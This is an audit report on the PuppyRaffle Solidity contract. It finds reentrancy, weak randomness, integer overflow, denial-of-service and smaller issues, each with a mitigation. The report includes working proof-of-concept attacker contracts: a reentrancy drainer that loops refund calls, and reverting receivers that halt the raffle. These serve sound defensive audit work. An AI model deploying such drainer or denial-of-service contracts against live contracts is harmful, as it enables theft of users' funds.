



# Puppy Raffle Protocol Audit Report

Prepared by: Saurabh Kaplas

# Table of Contents

---

- [Table of Contents](#)
- [Protocol Summary](#)
- [Disclaimer](#)
- [Risk Classification](#)
- [Audit Details](#)
  - [Scope](#)
  - [Roles](#)
- [Executive Summary](#)
  - [Issues found](#)
- [Findings](#)
  - [High](#)
    - [\[H-1\] Reentrancy: State change after external call](#)
    - [\[H-2\] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy.](#)
    - [\[H-3\] Integer overflow of `PuppyRaffle::totalFees` loses fees.](#)
    - [\[H-4\] Malicious winner can forever halt the raffle.](#)
  - [Medium](#)
    - [\[M-1\] Looping through players array to check for Duplicates in `PuppyRaffle::enterRaffle` is a potential Denial of Service attack, incrementing gas costs for future entrants.](#)
    - [\[M-2\] Unsafe cast of `PuppyRaffle::fee` loses fees.](#)
    - [\[M-3\] Smart contract wallet raffle winners without a `fallback` or `recieve` function will block the start of a new contest.](#)
  - [Low](#)
    - [\[L-1\] Ambiguous Return Value in `getActivePlayerIndex` Can Lead to Incorrect Interpretation of Active Player Status.](#)
  - [Informational](#)
    - [\[I-1\] Solidity Pragma should be specific,not wide.](#)
    - [\[I-2\] Using an older version of solidity is not recommended.](#)
    - [\[I-3\] Address State Variable Set Without Checks](#)
    - [\[I-4\] Does not follow CEI, which is not a best practice](#)
    - [\[I-5\] Use of "magic" numbers is discouraged](#)
    - [\[I-6\] State Changes are Missing Events](#)
    - [\[I-7\] Dead Code](#)
    - [\[I-8\] Test coverage is low](#)
  - [Gas](#)
    - [\[G-1\] Unchanged state variable should be declared constant or immutable.](#)
    - [\[G-2\] Storage Array Length not Cached](#)

## Protocol Summary

---

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with varying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

# Disclaimer

---

The "SeKurity" team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

# Risk Classification

---

|            |        | Impact |        |     |
|------------|--------|--------|--------|-----|
|            |        | High   | Medium | Low |
| Likelihood | High   | H      | H/M    | M   |
|            | Medium | H/M    | M      | M/L |
|            | Low    | M      | M/L    | L   |

We use the [CodeHawks](#) severity matrix to determine severity. See the documentation for more details.

# Audit Details

---

The finding described in this document correspond to the following commit hash:

2a47715b30cf11ca82db148704e67652ad679cd8

# Scope

./src/  
└─ PuppyRaffle.sol

# Roles

- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

# Executive Summary

---

This audit took 6 days to complete including the scoping, reconnaissance, vulnerability identification and report development. This is a private audit done by an individual security researcher, Saurabh Kaplas. We were able to find some critical vulnerabilities in the codebase including reentrancy, weak randomness, DoS, integer overflow and some others. Lookout for the #Findings section for more details.

## Issues found

| Severity | Number of issues found |
|----------|------------------------|
| High     | 4                      |
| Medium   | 3                      |
| Low      | 1                      |
| Info     | 8                      |
| Gas      | 2                      |
| Total    | 18                     |

## Findings

---

### High

[H-1]: Reentrancy: State change after external call

**Description:** Changing state after an external call can lead to re-entrancy attacks. Use the checks-effects-interactions pattern to avoid this issue.

This allows the attacker to drain the contract funds. In the `PuppyRaffle::Refund` function, we first make an external call to `msg.sender` and only after that external call, we update the `PuppyRaffle::Players` array.

#### ► 1 Found Instances

- Found in `src/PuppyRaffle.sol` [Line: 127](#)

State is changed at: `players[playerIndex] = address(0)`

```
payable(msg.sender).sendValue(entranceFee);
```

A participant who has entered the raffle could have `fallback/recieve` function that calls the `PuppyRaffle::Refund` function again and again, claiming another refund. They can continue the cycle until they drain away all the contract funds.

**Impact:** All fees paid by raffle entrants could be stolen by the malicious participants.

#### **Proof of Concept:**

1. User enters the raffle

2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the PuppyRaffle balance.

► Proof of Code

Add the following to `PuppyRaffle.t.sol`:

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() public payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}

// test to confirm vulnerability
function testCanGetRefundReentrancy() public {
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    ReentrancyAttacker attackerContract = new ReentrancyAttacker(puppyRaffle);
    address attacker = makeAddr("attacker");
```

```
vm.deal(attacker, 1 ether);

uint256 startingAttackContractBalance = address(attackerContract).balance;
uint256 startingPuppyRaffleBalance = address(puppyRaffle).balance;

// attack

vm.prank(attacker);
attackerContract.attack{value: entranceFee}();

// impact
console.log("attackerContract balance: ", startingAttackContractBalance);
console.log("puppyRaffle balance: ", startingPuppyRaffleBalance);
console.log("ending attackerContract balance: ",
address(attackerContract).balance);
console.log("ending puppyRaffle balance: ", address(puppyRaffle).balance);
}
```

**Recommendation:** To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally we should move the event emission up as well.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");
+   players[playerIndex] = address(0);
+   emit RaffleRefunded(playerAddress);
    payable(msg.sender).sendValue(entranceFees);
-   players[playerIndex] = address(0);
-   emit RaffleRefunded(playerAddress);
}
```

[H-2]: Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

**Description:** The use of keccak256 hash functions on predictable values like `block.timestamp`, `block.number`, or similar data, including modulo operations on these values, should be avoided for generating randomness, as they are easily predictable and manipulable. The `PREVRANDAO` opcode also should not be used as a source of randomness. Instead, utilize Chainlink VRF for cryptographically secure and provably random values to ensure protocol integrity.

#### ► 2 Found Instances

- Found in `src/PuppyRaffle.sol` [Line: 171](#)

```
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
block.difficulty))) % players.length;
```

- Found in src/PuppyRaffle.sol [Line: 216](#)

```
uint256(keccak256(abi.encodePacked(msg.sender,
block.difficulty))) % 100;
```

**Note:** This additionally means users could front-run this function and call `refund` if they see they are not the winner.

**Impact:** Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless since it becomes a gas war to who wins the raffle.

#### Proof of Concept:

1. Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and use that to predict when/how to participate. See the [solidity blog on prevrandao](#). `block.difficulty` was recently replaced with `prevrandao`.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a [well-documented attack vector](#) in the blockchain space.

**Recommended Mitigation:** Consider using a cryptographically provable random number generator such as [Chainlink VRF](#).

#### [H-3]: Integer overflow of `PuppyRaffle::totalFees` loses fees

**Description:** In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
// myVar will be 0
```

**Impact:** In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

#### ► Proof of Code

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 1780000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will not be able to withdraw due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance ==
    uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

#### ► Proof of Code

```
function testTotalFeesOverflow() public playersEntered {
    // We finish a raffle of 4 to collect some fees
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees();
    // startingTotalFees = 800000000000000000

    // We then have 89 players enter a new raffle
    uint256 playersNum = 89;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
    }
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    // We end the raffle
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    // And here is where the issue occurs
    // We will now have fewer fees even though we just finished a second raffle
    puppyRaffle.selectWinner();

    uint256 endingTotalFees = puppyRaffle.totalFees();
    console.log("ending total fees", endingTotalFees);
    assert(endingTotalFees < startingTotalFees);

    // We are also unable to withdraw any fees because of the require check
    vm.prank(puppyRaffle.feeAddress());
    vm.expectRevert("PuppyRaffle: There are currently players active!");
    puppyRaffle.withdrawFees();
}
```

**Recommended Mitigation:** There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
- pragma solidity ^0.7.6;  
+ pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's [SafeMath](#) to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
- uint64 public totalFees = 0;  
+ uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are  
currently players active!");
```

We additionally want to bring your attention to another attack vector (Mishandling of ETH) as a result of this line in a future finding. There are many attack vectors with this require, so we recommend removing it entirely.

**Attack vector:** Mishandling of ETH. Dangerous strict equality checks on contract balances.

**Description:** A contract's balance can be forcibly manipulated by another selfdestructing contract. Therefore, it's recommended to use `>`, `<`, `>=` or `<=` instead of strict equality.

► 1 Found Instances

- Found in `src/PuppyRaffle.sol` [Line: 236](#)

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:  
There are currently players active!");
```

[H-4]: Malicious winner can forever halt the raffle

**Description:** Once the winner is chosen, the `selectWinner` function sends the prize to the the corresponding address with an external call to the winner account.

```
(bool success,) = winner.call{value: prizePool}("");  
require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

If the `winner` account were a smart contract that did not implement a payable `fallback` or `receive` function, or these functions were included but reverted, the external call above would fail, and execution of the `selectWinner` function would halt. Therefore, the prize would never be distributed and the raffle would never be able to start a new round.

There's another attack vector that can be used to halt the raffle, leveraging the fact that the `selectWinner` function mints an NFT to the winner using the `_safeMint` function. This function, inherited from the `ERC721` contract, attempts to call the `onERC721Received` hook on the receiver if it is a smart contract. Reverting when the contract does not implement such function.

Therefore, an attacker can register a smart contract in the raffle that does not implement the `onERC721Received` hook expected. This will prevent minting the NFT and will revert the call to `selectWinner`.

**Impact:** In either case, because it'd be impossible to distribute the prize and start a new round, the raffle would be halted forever.

### Proof of Concept:

#### ► Proof Of Code

```
function testSelectWinnerDoS() public {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    address[] memory players = new address[](4);
    players[0] = address(new AttackerContract());
    players[1] = address(new AttackerContract());
    players[2] = address(new AttackerContract());
    players[3] = address(new AttackerContract());
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    vm.expectRevert();
    puppyRaffle.selectWinner();
}
```

For example, the `AttackerContract` can be this:

```
contract AttackerContract {
    // Implements a `receive` function that always reverts
    receive() external payable {
        revert();
    }
}
```

Or this:

```
contract AttackerContract {
    // Implements a `receive` function to receive prize, but does not implement
    `onERC721Received` hook to receive the NFT.
    receive() external payable {}
}
```

**Recommended Mitigation:** Favor pull-payments over push-payments. This means modifying the `selectWinner` function so that the winner account has to claim the prize by calling a function, instead of having the contract automatically send the funds during execution of `selectWinner`.

## Medium

[M-1]: Looping through players array to check for Duplicates in `PuppyRaffle::enterRaffle` is a potential Denial of Service attack, incrementing gas costs for future entrants

**Description:** The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right after the raffle starts will be dramatically less than those who enter later on. Every additional address in `players` array, is an additional check the loop will have to make.

```
@> // Check for duplicates
    for (uint256 i = 0; i < players.length - 1; i++) {
        for (uint256 j = i + 1; j < players.length; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
        }
    }
```

### Impact:

1. Later entrants pay significantly more gas than early entrants.
2. An attacker could flood the `PuppyRaffle::players` array with entries, making it prohibitively expensive or impossible for others to enter — effectively guaranteeing themselves a win.
3. This creates economic unfairness and a potential denial-of-service (DoS) vector.

**Proof of Concept:** If we have 2 sets of 100 players entering, the gas costs will be as such: 1st 100 players: ~6503272 2nd 100 players: ~18995512

This is nearly a 3x increase.

### ► Proof of Code

```
//test for n number of players using a loop
function testCanEnterRaffleManyLoop() public {
    // Foundry lets us set a gas price
```

```

vm.txGasPrice(1);

//first 100 players
uint256 n = 100;
address[] memory players = new address[](n);
for (uint256 i = 0; i < n; i++) {
    players[i] = address(i);
}

// Gas calculations for first 100 players
uint256 gasStart1 = gasleft();
puppyRaffle.enterRaffle{value: entranceFee * n}(players);
uint256 gasEnd1 = gasleft();
uint256 gasUsed1 = (gasStart1 - gasEnd1) * tx.gasprice;
console.log("Gas used for first 100 players:", gasUsed1);

//now for 2nd 1000 players
address[] memory players2 = new address[](n);
for (uint256 i = 0; i < n; i++) {
    players2[i] = address(i + n);
}

// Gas calculations for second 100 players
uint256 gasStart2 = gasleft();
puppyRaffle.enterRaffle{value: entranceFee * n}(players2);
uint256 gasEnd2 = gasleft();
uint256 gasUsed2 = (gasStart2 - gasEnd2) * tx.gasprice;
console.log("Gas used for second 100 players:", gasUsed2);

assert(gasUsed1 < gasUsed2);
}

```

### Recommended Mitigation:

1. A user can always create a new wallet, so banning duplicates by address has limited effectiveness and could be dropped altogether.
2. Consider using mapping to check for duplicates. This would allow a constant time lookup of whether a user has already entered.

```

+   mapping(address => uint256) public addressToRaffleId;
+   uint256 public raffleId = 0;
+   .
+   .
+   .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must
send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+           addressToRaffleId[newPlayers[i]] = raffleId;

```

```

    }

    -    // Check for duplicates
    +    // Check for duplicates only from the new players
    +    for (uint256 i = 0; i < newPlayers.length; i++) {
    +        require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle:
Duplicate player");
    +    }
    -    for (uint256 i = 0; i < players.length; i++) {
    -        for (uint256 j = i + 1; j < players.length; j++) {
    -            require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
    -        }
    -    }
    emit RaffleEnter(newPlayers);
}

.
.
.

function selectWinner() external {
+    raffleId = raffleId + 1;
    require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle:
Raffle not over");

```

3. If you need more features (like iteration or deletion), [OpenZeppelin's EnumerableSet library](#) offers a clean and gas-efficient way to manage unique sets of addresses.

### [M-2]: Unsafe cast of `PuppyRaffle::fee` loses fees

**Description:** In `PuppyRaffle::selectWinner` there is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```

function selectWinner() external {
    require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle:
Raffle not over");
    require(players.length > 0, "PuppyRaffle: No players in raffle");

    uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender,
block.timestamp, block.difficulty))) % players.length;
    address winner = players[winnerIndex];
    uint256 fee = totalFees / 10;
    uint256 winnings = address(this).balance - fee;
@>    totalFees = totalFees + uint64(fee);
    players = new address[](0);
    emit RaffleWinner(winner, winnings);
}

```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only `~18` ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

**Impact:** This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

**Proof of Concept:**

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

**Recommended Mitigation:** Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. There is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-  uint64 public totalFees = 0;
+  uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle:
Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-        totalFees = totalFees + uint64(fee);
+        totalFees = totalFees + fee;
```

[M-3]: Smart contract wallet raffle winners without a `fallback` or `recieve` function will block the start of a new contest

**Description:** The `PuppyRaffle::SelectWinner` function is responsible for resetting the lottery. However, if winner is a smart contract wallet that rejects payment, the lottery would not be able to restart. Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

**Impact:** The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

**Proof of Concept:**

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends.
3. The `selectWinner` function wouldn't work, even though the lottery is over!

**Recommended Mitigation:** There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves, putting the owners on the winner to claim their prize. (Recommended)

This recommended pattern is called pull over push pattern.(Users can pull their money out themselves instead of a contract pushing the money.)

## Low

### [L-1]: Ambiguous Return Value in `getActivePlayerIndex` Can Lead to Incorrect Interpretation of Active Player Status

**Description:** The `getActivePlayerIndex` function is intended to return the index of a player in the `players` array. If the player is not found, it returns 0. However, this is ambiguous, since a valid player can also be at index 0. This creates a situation where an active player at index 0 might be mistakenly interpreted as not active, especially in off-chain frontends or other contracts relying on this function.

```
function getActivePlayerIndex(address player) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
    @> return 0; // ambiguous: could mean 'not found' or 'found at index 0'
}
```

**Impact:** Incorrect external logic might treat valid players (e.g., those at index 0) as inactive, which can lead to:

1. Players being unable to call refund if a dApp checks their index first.
2. Frontends showing the wrong information.
3. Bugs in automated scripts interacting with the raffle.

**Proof of Concept:**

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

**Recommended Mitigation:** The easiest recommendation would be to revert if the player is not in the array instead of returning 0. You could also reserve the 0th position for any competition, but an even better solution might be to return an `int256` where the function returns -1 if the player is not active.

Another Solution: Return `type(uint256).max` (a value where no valid index will ever be) as the sentinel for "not found":

```
+ return type(uint256).max;  
- return 0;
```

## Informational

### [I-1]: Solidity Pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

#### ► 1 Found Instances

- Found in `src/PuppyRaffle.sol` [Line: 2](#)

```
pragma solidity ^0.7.6;
```

### [I-2]: Using an older version of solidity is not recommended

`solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

**Recommendation** Deploy with a recent version of Solidity (at least `0.8.0`) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Use latest stable versions of solidity like `0.8.20`.

Please see [Slither documentation](#) for more information.

### [I-3]: Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

#### ► 2 Found Instances

- Found in src/PuppyRaffle.sol [Line: 75](#)

```
feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol [Line: 248](#)

```
feeAddress = newFeeAddress;
```

#### [I-4]: Does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
  _safeMint(winner, tokenId);
+ (bool success,) = winner.call{value: prizePool}("");
+ require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

#### [I-5]: Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;

uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
POOL_PRECISION;
uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```

#### [I-6]: State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

It is best practice to emit an event whenever an action results in a state change.

Examples:

- `PuppyRaffle::totalFees` within the `selectWinner` function
- `PuppyRaffle::raffleStartTime` within the `selectWinner` function

- `PuppyRaffle::totalFees` within the `withdrawFees` function

## [I-7]: Dead Code

Functions that are not used. Consider removing them.

### ► 1 Found Instances

- Found in `src/PuppyRaffle.sol` [Line: 259](#)

```
function _isActivePlayer() internal view returns (bool) {
```

## [I-8]: Test coverage is low

Run `forge coverage`

File | % Lines | % Statements | % Branches | % Funcs

`script/DeployPuppyRaffle.sol` | 0.00% (0/4) | 0.00% (0/4) | 100.00% (0/0) | 0.00% (0/1)

`src/PuppyRaffle.sol` | 84.21% (64/76) | 84.88% (73/86) | 69.23% (18/26) | 80.00% (8/10)

`test/PuppyRaffleTest.t.sol` | 87.50% (14/16) | 91.67% (11/12) | 100.00% (1/1) | 80.00% (4/5)

Total | 81.25% (78/96) | 82.35% (84/102) | 70.37% (19/27) | 75.00% (12/16)

## Gas

### [G-1]: Unchanged state variable should be declared constant or immutable

Reading from storage is much more expensive than reading from constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be declared `immutable`.
- `PuppyRaffle::commonImageUri` should be declared `constant`.
- `PuppyRaffle::rareImageUri` should be declared `constant`.
- `PuppyRaffle::legendaryImageUri` should be declared `constant`.

### [G-2]: Storage Array Length not Cached

Calling `.length` on a storage array in a loop condition is expensive. Consider caching the length in a local variable in memory before the loop and reusing it.

### ► 3 Found Instances

- Found in `src/PuppyRaffle.sol` [Line: 107](#)

```
for (uint256 i = 0; i < players.length - 1; i++) {
```

- Found in src/PuppyRaffle.sol [Line: 108](#)

```
for (uint256 j = i + 1; j < players.length; j++) {
```

- Found in src/PuppyRaffle.sol [Line: 142](#)

```
for (uint256 i = 0; i < players.length; i++) {
```

```
+ uint256 playersLength = players.length;  
- for (uint256 i = 0; i < players.length - 1; i++) {  
+ for (uint256 i = 0; i < playersLength - 1; i++) {  
-     for (uint256 j = i + 1; j < players.length; j++) {  
+     for (uint256 j = i + 1; j < playersLength; j++) {  
        require(players[i] != players[j], "PuppyRaffle: Duplicate player");
```